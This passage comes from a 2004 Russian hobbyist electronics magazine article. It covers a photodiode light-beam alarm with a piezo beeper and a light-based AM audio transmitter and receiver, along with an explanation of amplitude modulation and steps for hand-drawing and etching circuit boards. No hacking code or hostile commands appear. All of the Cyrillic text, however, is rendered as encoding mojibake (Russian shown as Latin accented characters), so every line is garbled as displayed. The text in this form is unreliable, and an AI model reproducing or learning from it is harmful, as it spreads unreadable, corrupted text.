ïîäêëþ÷èòü íàø äåâàéñ, ñêàæåì, ê
LPT1 ïîðòó íà êàêîé-ëèáî ðàçðÿä øè-
íû äàííûõ è íàïèñàòü óòèëèòó, êîòî-
ðàÿ áû îïðàøèâàëà ýòîò ïîðò è ïðè
ïîÿâëåíèè "1" ñèãíàëèçèðîâàëà áû îá
ýòîì çâóêîâûì ñèãíàëîì? Ýòî óæå
ëó÷øå. Íî ìû æå, áëèí, æåñòÿíùèêè -
çà÷åì íàì ïèñàòü êàêèå-òî óòèëèòû,
êîãäà ìîæíî ðåøèòü ïðîáëåìó, èñ-
ïîëüçóÿ ãîðÿ÷èé ïàÿëüíèê?

Íà ðèñ. 3 ïðåäñòàâëåíî ðåøåíèå
ýòîé ïðîáëåìû. Ýòî óñòðîéñòâî íàçû-
âàåòñÿ æäóùèì ìóëüòèâèáðàòîðîì.
Ðàññìîòðèì åãî ðàáîòó ïîäðîáíåé.
Êîãäà íà âõîäå, êîèì ÿâëÿåòñÿ áàçà
òðàíçèñòîðà VT1, ïîäàí "0", òðàíçèñ-
òîð îòêðûò è íà âõîäå ýëåìåíòà 2È-
ÍÅ DD1.1 òàêæå ñèãíàë ñ íóëåâûì ëî-
ãè÷åñêèì óðîâíåì. Êàê òîëüêî ïîÿâ-
ëÿåòñÿ ñèãíàë "1", òðàíçèñòîð çàêðû-
âàåòñÿ, ÷òî ÿâëÿåòñÿ áëàãîïðèÿòíûì
ôàêòîðîì äëÿ âîçíèêíîâåíèÿ êîëå-
áàíèé. Â íàøåì ñëó÷àå ÷àñòîòà êîëå-
áàíèé ðàâíà 1 êÃö, íî åå ìîæíî ïî-
ìåíÿòü, èçìåíèâ ñîîòâåòñòâóþùèå
íîìèíàëû R3 è C1. Äàæå åñëè òû íå
ìåëîìàí, òî âñå ðàâíî ïðîñòî îáÿçàí
çíàòü, ÷òî ÷åëîâå÷åñêîå óõî âîñïðè-
íèìàåò êîëåáàíèÿ â äèàïàçîíå îò 20
Ãö äî 20 êÃö (â èäåàëå). Ñàìûé ïèê
÷óâñòâèòåëüíîñòè ýòîãî óõà êàê ðàç
ïðèõîäèòñÿ íà ÷àñòîòó 1 êÃö. È èçäà-
åò ýòè êîëåáàíèÿ íå ÷òî èíîå, êàê ïü-
åçîýëåêòðè÷åñêèé èçëó÷àòåëü ZQ1.
Êîíå÷íî, ìîæíî áûëî áû èñïîëüçî-
âàòü è äèíàìè÷åñêóþ ãîëîâêó, íî â
íàøåì ñëó÷àå ýòî íè ê ÷åìó, ïîòîìó
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Ðèñ. 3. Æäóùèé ìóëüòèâèáðàòîð
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ÕÀÊÅÐÑÏÅÖ   10(47)    2004

HARD

1 Ïëàòà, íà êîòîðîé âñå çàêðåïëåíî

2 Òåïëîîòâîä

3 Ñâåòîäèîä ïîâûøåííîé ÿðêîñòè, èñïîëüçóåìûé â íåøòàòíîì
ðåæèìå

4 Âòóëêà-äåðæàòåëü ñ ðåçüáîé

5 Ïðóæèíà, ïðèæèìàþùàÿ ëèíçó ê âòóëêå

6 Ëèíçà

7 Âòóëêà, ðåãóëèðóþùàÿ ôîêóñèðîâêó ëèíçû

Ïî òåîðèè ëàçåð äîëæåí îáåñïå÷èâàòü
ïàðàëëåëüíîå èîäíîíàïðàâëåííîå

êîãåðåíòíîå èçëó÷åíèå.



êàê íå îðêåñòðîâûå ïàðòèòóðû âîñï-
ðîèçâîäèì. Äà è ïüåçîýëåêòðè÷åñêèé
èçëó÷àòåëü áîëåå çàòî÷åí ïîä ìîíî-
òîííûé ñèãíàë, ÷åì ãîëîâêà. Ê òîìó
æå, îí ìåíüøå ïî ðàçìåðàì. Òû óæå,
íàâåðíîå, äîãàäàëñÿ, ÷òî ðåçèñòîð R1
çàäàåò ðàáî÷óþ òî÷êó äëÿ òðàíçèñòî-
ðà VT1, à ðåçèñòîð R2 îãðàíè÷èâàåò
òîê, ïîñòóïàþùèé íà áàçó. Êñòàòè, òå-
áå èíòåðåñíî, ïî÷åìó ZQ1 òàê ñòðàííî
âêëþ÷åí? Âñå ïðîñòî: íà íåãî ïðèõî-
äÿò ñèãíàëû â ïðîòèâîôàçå, à ýòî
çíà÷èò, ÷òî àìïëèòóäà ñèãíàëà (ãðîì-
êîñòü òî áèøü) ãîðàçäî áîëüøå.

Òû óæå äàëåêî íå íîâè÷îê â ýòîì
âîïðîñå, è ìíå ïðîñòî íåóäîáíî çàâî-
äèòü ðàçãîâîðû î ïðèìåíÿåìûõ â äå-
âàéñå äåòàëÿõ. Íî ïîçâîëü âñå æå ïà-
ðó áàéò. Â óñòðîéñòâå ïðèìåíåíû
îáû÷íûå ðåçèñòîðû ÌËÒ-0.125, âìåñ-
òî êîòîðûõ, ðàçóìååòñÿ, ìîæíî ïîñòà-
âèòü ëþáûå, óäîâëåòâîðÿþùèå ôîð-
ìóëå Ìîùíîñòü/Ñîïðîòèâëåíèå/Ãàáà-
ðèòû (ðèñ. 4), íàïðèìåð, ÌÎÍ-0,125.

Åäèíñòâåííûé êîíäåíñàòîð â êåí-
òàòîðå ìîæåò áûòü ëþáûì (äàæå
áåñêîðïóñíûì), íî ÿ âñå æå ïîñòà-
âèë íàø - ïðîâåðåííûé âðåìåíåì
"ôëàæîê" (ðèñ. 5). Îäíî òðåáîâàíèå
- åìêîñòü 1 íÔ. Ìèêðîñõåìó DD1
Ê561ËÀ7, ÷òî íà ðèñ. 6, òû äîëæåí
áûë óâèäåòü â àâãóñòîâñêîì íîìåðå,
íî åñëè ïî÷åìó-òî íå óâèäåë, òî
ïîñìîòðè åùå ðàç. Èñïîëüçóåìûé â
äåâàéñå ôîòîäèîä - ïîëîâèíêà
ñáîðêè (íå ïóòàòü ñ îïòîïàðîé!),
ïðåäñòàâëåííîé íà ðèñ. 7. Òàêèå
ñáîðêè èç äâóõ ôîòîäèîäîâ åñòü â
ëþáûõ ìûøàõ (ïî òðè øòóêè íà
ìûøü). Òàê êàê òàêèå ïàðû èìåþò
çíà÷èòåëüíûé ðàçáðîñ ïî ïàðàìåò-
ðàì è äàáû íå èìåòü íèêàêèõ ïðîá-
ëåì, èñïîëüçóåòñÿ òîëüêî îäèí ôî-
òîäèîä ïàðû. Õîòÿ, â ïðèíöèïå, ìîæ-
íî ïðèìåíèòü ëþáîé ôîòîäèîä, ðà-
áîòàþùèé â èíôðàêðàñíîì-êðàñíîì
äèàïàçîíå. n-p-n òðàíçèñòîð - ÊÒ315
ñ ëþáûì áóêâåííûì èíäåêñîì. Òàê-

æå ìîæíî èñïîëüçîâàòü áåç îãðàíè-
÷åíèé òðàíçèñòîðû ñåðèè ÊÒ3102.

ÒÅËÅÔÎÍ, ÒÅËÅÃÐÀÔ...
Â âåê áóðíîãî ðàçâèòèÿ èíòåðíåòà

è IT-òåõíîëîãèé âîîáùå âñå ìû ïîäçà-
áûëè î ìîäíîì â ñâîå âðåìÿ ãîñïîäèíå
- Ãåðöå, êîòîðûé êàê-òî ðàç âûïèë
ìåíüøå âñåõ è îòêðûë ÿâëåíèå ðàñïðî-
ñòðàíåíèÿ ýëåêòðè÷åñòâà â ïðîñòðàí-
ñòâå. Äà è î íàøåì ñîîòå÷åñòâåííèêå -
èçîáðåòàòåëå ðàäèî Àëåêñàíäðå Ñòåïà-
íîâè÷å Ïîïîâå ìû âñïîìèíàåì ðàçâå
÷òî 5 ìàÿ. Áëàãîäàðÿ èì ìû òåïåðü çíà-
åì, ÷òî ñâåòîâàÿ âîëíà è ðàäèîâîëíà,
ïî ñóòè, îäíî è òî æå - ýëåêòðè÷åñêèå
êîëåáàíèÿ, ðàñïðîñòðàíÿþùèåñÿ â
ïðîñòðàíñòâå, òîëüêî ñâåòîâûå èìåþò
áîëåå âûñîêóþ ÷àñòîòó, ÷åì ïðèâû÷-
íûå ðàäèîâîëíû. À ðàç òàê, òî íåëüçÿ
ëè èõ èñïîëüçîâàòü â ñâîå óäîâîëü-
ñòâèå? Ìîæíî! Ñâåòîâóþ âîëíó ìîæíî,
íàïðèìåð, ïðîìîäóëèðîâàòü çâóêîì è
ïåðåäàâàòü òåì ñàìûì äàííûå áåç ïðî-
âîäîâ. Âîò ýòèì è çàéìåìñÿ.

Íà ðèñ. 9 ïðåäñòàâëåíà ñõåìà òàêî-
ãî ïåðåäàò÷èêà, ðàáîòàþùåãî â ñâå-
òîâîì äèàïàçîíå ÷àñòîò è ïîçâîëÿþ-
ùåãî ïîëó÷èòü àìïëèòóäíî-ìîäóëè-
ðîâàííûé ñèãíàë. Ðåçèñòîðîì R1 çà-
äàåòñÿ íåîáõîäèìûé òîê äëÿ óñèëèòå-
ëÿ, âñòðîåííîãî â ýëåêòðåòíûé ìèêðî-
ôîí ÂÌ1. Êàñêàä íà òðàíçèñòîðå VT1 -
íå ÷òî èíîå, êàê êëàññè÷åñêèé óñèëè-
òåëü çâóêîâîé ÷àñòîòû, â êîòîðûé ïî-
ìèìî òðàíçèñòîðà âõîäÿò ðåçèñòîðû
R2, R3, R4. Ñèãíàë ñ ìèêðîôîíà ïîñ-
òóïàåò ÷åðåç ðàçäåëèòåëüíûé êîí-
äåíñàòîð Ñ1 (êîòîðûé îòñåêàåò ïîñòî-
ÿííóþ ñîñòàâëÿþùóþ) íà áàçó ýòîãî
òðàíçèñòîðà. Ïîäáîðîì ðåçèñòîðà R2
ìîæíî çàäàòü êîîôèöèåíò óñèëåíèÿ
êàñêàäà. Â ïðèíöèïå, íè÷åãî ïîäáè-
ðàòü íå íàäî, ïîòîìó îñòàâèì åãî ñ
òàêèì ñîïðîòèâëåíèåì, êàêîå óêàçàíî
íà ñõåìå. Äàëåå óñèëåííûé ñèãíàë
ïîñòóïàåò íà áàçó òðàíçèñòîðà VT2.
Ýòîò êàñêàä âûïîëíåí íà áîëåå ìîù-
íîì òðàíçèñòîðå, âåäü åãî íàãðóçêîé
ÿâëÿåòñÿ íàø áðåëîê, à îí, êàê èçâå-
ñòíî, òîêà ïîòðåáëÿåò íåìåðÿíî. (Åñ-
ëè åñòü æåëàíèå, èçîìåðü: âêëþ÷è â
ðàçðûâ ìåæäó íàïðÿæåíèåì ïèòàíèÿ
è êàòîäîì ñâåòîäèîäà àìïåðìåòð, ïî-
òîì ìíå ðàññêàæåøü :-).) Áðåëîê-òî è
èñïóñêàåò àìïëèòóäíî-ìîäóëèðîâàí-
íûå ñâåòîâûå èìïóëüñû.

Íî ïåðåäàòü èìïóëüñû - ýòî ïîëäå-
ëà, íàì íåîáõîäèìî èõ åùå è ïðè-
íÿòü. Òû ìîæåøü ïðåäïîëîæèòü, ÷òî
ïðèåìíèêîì áóäåò ïîëîâèíêà íàøåãî
êåíòàòîðà, è áóäåøü ñîâåðøåííî...
íåïðàâ. À íåïðàâ ïîòîìó, ÷òî êåíòà-
òîð ñïîñîáåí óëàâëèâàòü ëèøü èì-
ïóëüñû, à íàì íåîáõîäèì ïðèåìíèê,
êîòîðûé ìîæåò ïåðåâàðèòü ÀÌ-ñèã-
íàë. Ýòèì ïðèåìíèêîì áóäåò óñòðîé-
ñòâî, ïîêàçàííîå íà ðèñ. 10.

Ïåðåäàâàåìûé íàøèì ïåðåäà÷èêîì
ÀÌ-ñèãíàë ïðèíèìàåòñÿ òàêèì æå ôî-
òîäèîäîì, ÷òî èñïîëüçîâàëñÿ â êåíòà-
òîðå. Äàëåå, ÷åðåç ðàçäåëèòåëüíûé
êîíäåíñàòîð C1, îí ïîäàåòñÿ íà áàçó
òðàíçèñòîðà VT1, êîòîðûé âìåñòå ñ ðå-
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Ðèñ. 4. Ïîäñòðîå÷-
íûå ðåçèñòîðû

Ðèñ. 5. "Ôëàæîê"

Ðèñ. 6. Ê561ËÀ7

Ðèñ. 7. Ôîòîñáîðêà
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Äàâàé äîãîâîðèìñÿ: ðàç
ñâåòîâàÿ âîëíà è ðàäèîâîëíà
- ýòî ïðàêòè÷åñêè îäíî è òîæå,
òî è îáçîâåì èõ îäíèì ñëîâîì
� «íåñóùàÿ». Íî íåñóùàÿ ñà-
ìà ïî ñåáå íèêàêîé èíôîðìà-
öèè íå íåñåò. Çàòî îíà îïðåäå-
ëÿåò ÷àñòîòó, íà êîòîðîé ãåíå-
ðèðóåòñÿ ñèãíàë. Ïîñìîòðè íà
âåðõíèé ãðàôèê, ÷òî íà ðèñ. 8.
Ýòî è åñòü íåñóùàÿ ñ ÷àñòîòîé
f è àìïëèòóäîé a1. Íà ñðåäíåì
ãðàôèêå ïîêàçàí ñèãíàë ñ ÷àñ-
òîòîé F è àìïëèòóäîé à2, êîòî-
ðûé ìû õîòèì ñ ïîìîùüþ ýòîé
íåñóùåé ïåðåäàòü. Òàê âîò,
ìîäóëÿöèåé íàçûâàåòñÿ ïðî-
öåññ èçìåíåíèÿ ïàðàìåòðîâ íåñóùåé â òàêò ïåðåäàâàåìûì äàííûì.
Â íàøåì ñëó÷àå äàííûìè ÿâëÿåòñÿ ðå÷åâîé ñèãíàë, à èçìåðÿåìûé
ïàðàìåòð - àìïëèòóäà. Ýòî è íàçûâàåòñÿ ìîäóëÿöèåé ïî àìïëèòóäå,
èëè àìïëèòóäíîé ìîäóëÿöèåé. Â ðåçóëüòàòå ìû ïîëó÷àåì ñèãíàë,
êàê íà íèæíåì ãðàôèêå ðèñ. 8. Íåòðóäíî äîãàäàòüñÿ, ÷òî ïðè àìï-
ëèòóäíîé ìîäóëÿöèè ïðîèñõîäèò èçëó÷åíèå ýíåðãèè äàæå ïðè îòñó-
òñòâèè ñèãíàëà. Â íàøèõ ýêñïåðèìåíòàõ ýòî íå ñòîëü âàæíî, íî äëÿ
ïðîôåññèîíàëîâ ýòî ÿâëÿåòñÿ áîëüøèì íåäîñòàòêîì. Äðóãèì âàæ-
íûì äëÿ ïðîôåññèîíàëîâ íåäîñòàòêîì àìïëèòóäíîé ìîäóëÿöèè ÿâ-
ëÿåòñÿ íàëè÷èå äâóõ ïîëîñ ïðèåìà (f+F è f-F). Äëÿ íàñ ýòî òîæå íå-
âàæíî, ïîòîìó êàê âðÿä ëè ìû íàïîðåìñÿ íà åùå îäèí ïåðåäàò÷èê,
÷àñòîòà íåñóùåé êîòîðîãî ñîâïàäåò ñ íàøåé. Íî òû äîëæåí çíàòü,
÷òî èç-çà íàøèõ óïðîùåíèé ìû æåðòâóåì äî 7/8 ïîëåçíîé ýíåðãèè.
Ïîýòîìó â íàøå âðåìÿ àìïëèòóäíîé ìîäóëÿöèåé ïðàêòè÷åñêè íèê-
òî íå ïîëüçóåòñÿ, è, ÷òîáû ñîêðàòèòü ïîòåðè ïîëåçíîé ýíåðãèè, â
ïðîôåññèîíàëüíîé ðàäèîñâÿçè ïîëüçóþòñÿ íåêîòîðûìè óõèùðå-
íèÿìè, à èìåííî ñòàðàþòñÿ ïîäàâèòü íåñóùóþ ïðàêòè÷åñêè äî íó-
ëÿ (òàêîé ñèãíàë íàçûâàåòñÿ DSB - Double Signal Band - äâóõïî-
ëîñíûé ñèãíàë) è, âêóïå ñ ýòèì, ñîêðàòèòü óðîâåíü ïîáî÷íûõ èçëó-
÷åíèé, ïîïðîñòó êàñòðèðîâàòü îäíó èç ïîëîñ (òàêîé ñèãíàë íàçûâà-
åòñÿ SSB - Simple Signal Band - îäíîïîëîñíûé ñèãíàë).

ÀÌÏËÈÒÓÄÍÀß ÌÎÄÓËßÖÈß

Ðèñ. 8
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HARD

çèñòîðàìè R1 è R2 îáðàçóåò êàñêàä
ïðåäâàðèòåëüíîãî óñèëåíèÿ. Íî ìîù-
íîñòè ñèãíàëà, ñíèìàåìîãî ñ ýììèòåðà
ýòîãî òðàíçèñòîðà, íåäîñòàòî÷íî äàæå
äëÿ íàóøíèêîâ. Ïîýòîìó íàì íåîáõî-
äèì äîïîëíèòåëüíûé óñèëèòåëü çâóêî-
âîé ÷àñòîòû, êîèì è ÿâëÿåòñÿ óæå èç-
âåñòíàÿ ïî ïðåäûäóùåé ñòàòüå ìèêðîñ-
õåìà DA1 TDA7052 (ðèñ. 11). Êîíäåíñà-
òîð Ñ2 òàê æå, êàê è Ñ1, - ðàçäåëèòåëü-
íûé. Äèíàìè÷åñêàÿ ãîëîâêà BA1 ìîæåò
áûòü ëþáîé ñ ñîïðîòèâëåíèåì êàòóøêè
4 èëè 8 Îì è ðàçâèâàåìîé ìîùíîñòüþ
0,25-0,5 Âò. ß, íàïðèìåð, ïîñòàâèë 1-
ÃÄ12, ÷òî ïîêàçàíà íà ðèñ. 14. 

Êîëü ÿ çàãîâîðèë î äåòàëÿõ, òî ïîç-
âîëüòå ïî ïîðÿäêó. Âñå ðåçèñòîðû
(êàê íà ðèñ. 9, òàê è íà ðèñ. 10) ïî-
ïðåæíåìó ìîãóò áûòü ëþáûìè, íî
ìîùíîñòüþ íå ìåíåå 0,125 Âò. Öîêî-
ëåâêà ïðèìåíåííûõ ìíîþ òðàíçèñòî-
ðîâ ïðèâåäåíà íà ðèñ. 12, íî âîçìîæ-
íû îòõîäû îò ñõåìû. Âìåñòî òðàíçèñ-
òîðà VT1 íà ñõåìå ðèñ. 9 ìîæåò èñ-
ïîëüçîâàòüñÿ òðàíçèñòîð ñ ëþáûì
áóêâåííûì èíäåêñîì êàê ÊÒ315, òàê è
ÊÒ3102. Âìåñòî òðàíçèñòîðà VT2
ÊÒ815 ìîæíî èñïîëüçîâàòü òðàíçèñ-
òîð ÊÒ817 òàêæå ñ ëþáûì áóêâåííûì
èíäåêñîì. Âïîëíå âîçìîæíî èñïîëü-
çîâàòü áîëåå ìîùíûé òðàíçèñòîð
KT819, â ýòîì ñëó÷àå ìîæíî çàïàðàë-
ëåëèòü òðè êðèñòàëëà áðåëîêà, ñîîò-
âåòñòâåííî óâåëè÷èâ äàëüíîñòü óâå-
ðåííîé ñâÿçè äî 250-300 ìåòðîâ
âìåñòî 70-100 ìåòðîâ, êîòîðûå äîñòè-
ãàþòñÿ ñ îäíèì. Ìåíüøèå çíà÷åíèÿ
ïðèâåäåíû ïðè äíåâíûõ ýêñïåðèìåí-
òàõ, à áîëüøèå - ïðè íî÷íûõ (êîíå÷-
íî æå, ìîæíî áûëî ïîäîáðàòü áîëåå
÷óâñòâèòåëüíûé ôîòîäèîä, ðàáîòàþ-
ùèé â áîëåå óçêîì äèàïàçîíå, è ïîëó-
÷èòü óâåðåííóþ ñâÿçü íà áîëüøèõ
ðàññòîÿíèÿõ, íî, åñëè ÷åñòíî, ïåðåäî
ìíîé òàêàÿ çàäà÷à íå ñòîÿëà). Â ñõå-
ìå, ÷òî íà ðèñ. 10, âìåñòî òðàíçèñòîðà
ÊÒ361 (åãî öîêîëåâêà - íà ðèñ. 12),
ìîæíî ñ óñïåõîì ïðèìåíèòü ÊÒ3107.
Êîíäåíñàòîðû - íàøè "ôëàæêè" èëè
èìïîðòíûå ôèðìû TREC (íå ñî÷òè çà
ðåêëàìó - ïðîñòî ôèðìà TREC ÿâëÿåò-
ñÿ ïðàêòè÷åñêè ìîíîïîëèñòîì íà ìè-
ðîâîì ðûíêå, èìåÿ ôèëèàëû ïî âñåìó
ìèðó; åäèíñòâåííûì åå êîíêóðåíòîì ÿ

ñ÷èòàþ òîëüêî îòå÷åñòâåííóþ ïðî-
ìûøëåííîñòü, êîòîðóþ ôèðìà TREC
ïîêà ñîáîé íå çàïÿòíàëà). 

Î ìèêðîôîíå. Îí, êàê óæå èçâåñòíî,
äîëæåí áûòü ýëåêòðåòíûì ñî âñòðîåí-
íûì óñèëèòåëåì. Â ïðèíöèïå, â íàñòî-
ÿùåå âðåìÿ ïðîèçâîäèòñÿ íåñêîëüêî
òèïîâ ýëåêòðåòíûõ ìèêðîôîíîâ, íî
óäîâëåòâîðÿò íàñ äàëåêî íå âñå.
Âïîëíå ïðèãîäåí îòå÷åñòâåííûé
ýëåêòðåòíûé ìèêðîôîí òèïà ÌÊÝ-3.
Âî-ïåðâûõ, îí èìååò â ñâîåì ñîñòàâå
ìèêðîñõåìó âìåñòî ïîëåâîãî òðàíçèñ-
òîðà è ðåçèñòîðà, ÷òî äàåò íàì áîëü-
øåå óñèëåíèå. Âî-âòîðûõ, êîíñòðóê-
öèÿ ìèêðîôîíà òàêîâà, ÷òî ìû ìîæåì
áåç ïðîáëåì èñïîëüçîâàòü åãî êàê ñó-
ãóáî íàïðàâëåííûé äåâàéñ. À ýòî çíà-
÷èò, ÷òî íàì íå íóæíî ïðèáëèæàòü åãî
êî ðòó - îí âïîëíå ñïîñîáåí óëîâèòü

ìàëåéøèé çâóê íà ðàññòîÿíèè îäíîãî-
ïîëóòîðà ìåòðîâ. Ïðî öåíó ìèêðîôî-
íà âîîáùå ãîâîðèòü ñìåøíî - êîïåé-
êè. Åãî áëèæàéøèì àíàëîãîì ÿâëÿåò-
ñÿ ïðîôåññèîíàëüíûé ìèêðîôîí
"Ñîñíà". Â îáùåì, ïðè÷èí äëÿ åãî èñ-
ïîëüçîâàíèÿ äîñòàòî÷íî. Íî ïðîñòî
òàê (êàê, íàïðèìåð, óãîëüíûé ìèêðî-
ôîí) åãî íå ïîäêëþ÷èøü - âûâîäà-òî
òðè. Ðåøèòü ïðîáëåìó ïîäêëþ÷åíèÿ
òåáå ïîìîæåò ôîòî íà ðèñ. 15. Ó ýòîãî
òèïà ìèêðîôîíîâ âûâîäû âñåãäà
öâåòíûå, à öâåòà ñòàíäàðòèçèðîâàíû.
Òàê, êðàñíûé öâåò ñîîòâåòñòâóåò ïëþ-
ñó ïèòàíèÿ, ñèíèé - îáùåìó ïðîâîäó,
áåëûé - âûõîäó çâóêîâîãî ñèãíàëà.
Íî, ïîæàëóé, òîëüêî â îòå÷åñòâåííîé
ïðîìûøëåííîñòè âîçìîæíû îòõîäû
îò ñòàíäàðòîâ. ß âñòðå÷àë âìåñòî
êðàñíîãî - ðîçîâûé, âìåñòî áåëîãî -

Ðèñ. 9. ÀÌ-ïåðåäàò÷èê

Ðèñ. 10. ÀÌ-ïðèåìíèê

Ðèñ. 12. Öîêîëåâêà
òðàíçèñòîðîâ

Ðèñ. 13. Êîíäåíñà-
òîðû TREC

Ðèñ. 15. Ìèêðîôîí
ÌÊÝ-3

Ðèñ. 16. Ïå÷àòíèê êåíòàòîðà

Ðèñ. 17. Ïå÷àòíèê ÀÌ-ïåðåäàò÷èêà

Ðèñ. 18. Ïå÷àòíèê ÀÌ-ïðèåìíèêà

Ðèñ. 11

Ðèñ. 14. Äèíàìè÷åñ-
êàÿ ãîëîâêà
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æåëòûé, à âìåñòî ñèíåãî - êîðè÷íå-
âûé. Âðîäå íè÷åãî ñòðàøíîãî, íî âñå
æå, åñëè ïðîäàâåö ïîïûòàåòñÿ âñó-
÷èòü òåáå ìèêðîôîí ñ íåñòàíäàðòíîé
öâåòîâîé ðàñêëàäêîé, òî òðåáóé ó íå-
ãî ïîñìîòðåòü êîðîáêó - íà íåé íàðè-
ñîâàíà ïðàâèëüíàÿ ðàñïàéêà.

ÈÇÃÎÒÎÂËÅÍÈÅ
Âîò ÿ òåáå ðàññêàçàë ìíîãî âñåãî,

ñõåì êó÷ó íàêèäàë, à êàê âîïëîòèòü
ýòî âñå â æåëåçå - íå îáúÿñíèë. Íå
ïðîâîäêàìè æå âñå ìåæäó ñîáîé ñâÿ-
çûâàòü. ×òî ìû - äåòè ìàëûå? Òû óæå
çíàåøü, êàê èçãîòàâëèâàòü ïëàòû, èñ-
ïîëüçóÿ ôàáðè÷íûå çàãîòîâêè. Òû
óæå çíàåøü, êàê èçãîòàâëèâàòü ïå÷àò-
íèêè, èñïîëüçóÿ öàðàïàëêó. Ñåé÷àñ ÿ
ïîçíàêîìëþ òåáÿ åùå ñ îäíèì ñïîñî-
áîì. Îí ÷ðåçâû÷àéíî ïðîñò, è çà ïðîñ-
òîòó ñâîþ ïðè÷èñëåí ê ðàçðÿäó êëàñ-
ñèêè. Íî äëÿ ýòîãî íàì ïîíàäîáÿòñÿ
çàãîòîâêè ïå÷àòíûõ ïëàò ðàçìåðàìè
55õ30, 45õ30 è 20õ50 ñîîòâåòñòâåííî
äëÿ ñõåì, ÷òî íà ðèñ. 2 è 3 (îíè îáúå-
äèíåíû â îäíî óñòðîéñòâî, à åñëè òû

ðåøèë ïèñàòü ïðîãðàììó, êîòîðàÿ áû
îïðàøèâàëà êàêîé-ëèáî ïîðò êîìïà
(àïïàðàòíûé, ðàçóìååòñÿ), òî òåáå
ïðèäåòñÿ è ïëàòó ïåðåðàáàòûâàòü ñà-
ìîñòîÿòåëüíî), ðèñ. 9 è 10. Ïîìèìî
ôîëüãèðîâàííûõ ñòåêëîòåêñòîëèòî-
âûõ çàãîòîâîê òåáå ïîòðåáóþòñÿ ñî-
îòâåòñòâóþùèå èì ÷åðòåæè â ìàñø-
òàáå 1:1. Îíè äàíû íà ðèñ. 16, 17 è 18 ñî-
îòâåòñòâåííî (íà äèñêå ê æóðíàëó òû
èõ òîæå íàéäåøü).

Èòàê, êåðíèøü è ñâåðëèøü çàãîòîâ-
êè, èñïîëüçóÿ ñîîòâåòñòâóþùèå èì
÷åðòåæè êàê øàáëîíû. Îáåçæèðèâà-
åøü ðàñòâîðèòåëåì. Òû ýòî óæå äå-
ëàë, ïîòîìó íå ïîâòîðÿþñü. Äàëåå áå-
ðåøü êóïëåííûé çàðàíåå öàïîíëàê
(ðèñ. 19) è - íà âûáîð - ëèáî ìåäèöè-
íñêèé ìíîãîðàçîâûé øïðèö (ïîòîìó
êàê îäíîðàçîâûé ëàê ðàçúåäàåò, è îí
íà÷èíàåò ñàìîïðîèçâîëüíî âûòåêàòü
ñî ñòîðîíû ïîðøíÿ) ëèáî ðåéñôåäåð
(êàê åãî èçãîòîâèòü, íàïèñàíî â ïåð-
âîé ñòàòüå). Â êà÷åñòâå èñêëþ÷åíèÿ
îíè îáà äàíû íà ðèñ. 20. Ñ òåõ ïîð êàê
ó ìåíÿ ïîÿâèëñÿ ðåéñôåäåð, øïðèö

ìåíÿ óæå íå óäîâëåòâîðÿåò... Ïîýòîìó
òû íå âèäèøü íà ôîòî, ïðèëàãàþùåé-
ñÿ ê øïðèöó, èãëû. Åñëè òû ðåøèë èñ-
ïîëüçîâàòü øïðèö, òî òåáå íóæíî áó-
äåò ñòî÷èòü (íå îòêóñèòü!) ðåáðîì íàä-
ôèëÿ èãëó ïîä ïðÿìûì óãëîì äî 1,5-2
ñì äî îñíîâàíèÿ (ïðè ïðÿìîì óãëå îò-
âåðñòèå â èãëå ìèíèìàëüíî, à çíà÷èò,
ðèñóíîê ïîëó÷èòñÿ áîëåå êðàñèâûì).

Äàëåå áåðåì ðåéñôåäåð, âñàñûâàåì
íåìíîãî öàïîíëàêà (ìîæíî íîçäðåé :-
)) è, èñïîëüçóÿ ñëåñàðíóþ ëèíåéêó,
ðèñóåì äîðîæêè ñîãëàñíî ÷åðòåæàì.
Íåáîëüøîé êîììåíòàðèé:
1. Ðèñóé ÷åòêî è áûñòðî, íå ïîçâî-

ëÿÿ ëàêó çàñûõàòü íà êîíöå ðåéñôå-
äåðà. Åñëè âîçíèêëà ïàóçà, ñðàçó çà-
ñîâûâàé ðåéñôåäåð â êîëïà÷îê ñ
ðàñòâîðèòåëåì.
2. Äàáû íå ñìàçûâàòü íàðèñîâàí-

íîå ëèíåéêîé, ïëàòó æåëàòåëüíî çà-
ôèêñèðîâàòü ìåæäó äâóõ ïëîñêèõ,
ðàâíûõ ïî âûñîòå ïðåäìåòîâ è ëèíåé-
êó äåðæàòü íà íèõ.
3. Ìîæíî, êîíå÷íî, ëèíåéêîé ïðå-

íåáðå÷ü, íî 99%, ÷òî ïëàòà ïîëó÷èòñÿ
êîðÿâîé.

Íó âîò, òû ïîëó÷èë ïðåäîõðàíè-
òåëüíûé ðèñóíîê íà ïëàòå. Òåïåðü
áåðåøü ïîðîøêîâîå õëîðíîå æåëå-
çî (ðèñ. 21), ðàñòâîðÿåøü åãî â ãîðÿ-
÷åé âîäå è âûëèâàåøü ðàñòâîð â íå-
ìåòàëëè÷åñêóþ êþâåòó. Ýòîò ïðî-
öåññ ïîêàçàí íà ðèñ. 22. Çàòåì ñó-
åøü òóäà çàãîòîâêó, êîòîðóþ òû äîë-
æåí ïðåäâàðèòåëüíî ïðèâÿçàòü çà
íèòêó. Êñòàòè, ïåð÷àòêè íå çàáóäü.
Çàòåì, ñìîòðÿ ïåðèîäè÷åñêè íà çàãî-
òîâêó, íàáëþäàåøü çà ïðîöåññîì
òðàâëåíèÿ. Ïîñëå òîãî êàê íå îñòà-
íåòñÿ ñëåäîâ íåíóæíîé íàì ìåäè íà
ñòåêëîòåêñòîëèòå, ñóåøü ïîëó÷åí-
íóþ ïëàòó ïîä ñòðóþ âîäû. Òåîðåòè-
÷åñêè öàïîíëàê äîëæåí ñîéòè ïî÷òè
ïîëíîñòüþ, íî, åñëè ýòîãî íå ïðîè-
çîøëî, ñìûâàé åãî òðÿïêîé, ñìî÷åí-
íîé âîäîé íàïîëîâèíó ñ ðàñòâîðèòå-
ëåì (òàê åãî èñïàðÿåòñÿ ìåíüøå).
Ñëåäóþùèé ýòàï - ïîêðûòèå ôîëüãè-
ðîâàííîé ïîâåðõíîñòè êàíèôîëü-
íûì ëàêîì. Äåëàòü ýòî íóæíî ñðàçó,
íå êàòàÿ âàòó, èáî äîðîæêè ìîãóò
îêèñëèòüñÿ, è òîãäà áåç ïðîáëåì ê
íèì íå ïðèïàÿåøü. È òîëüêî ïîòîì
ïàÿåøü ñîãëàñíî òåì æå ÷åðòåæàì.
Òî, ÷òî ó ìåíÿ ïîëó÷èëîñü, ïðåäñ-
òàâëåíî íà ðèñ. 23, 24, 25. Íå óäîâ-
ëåòâîðÿéñÿ äîñòèãíóòûì, ñòàðàéñÿ
ñäåëàòü ëó÷øå!

THE ÊÎÍÅÖ
Íàäåþñü, òåáå íå íóæíî íàìå-

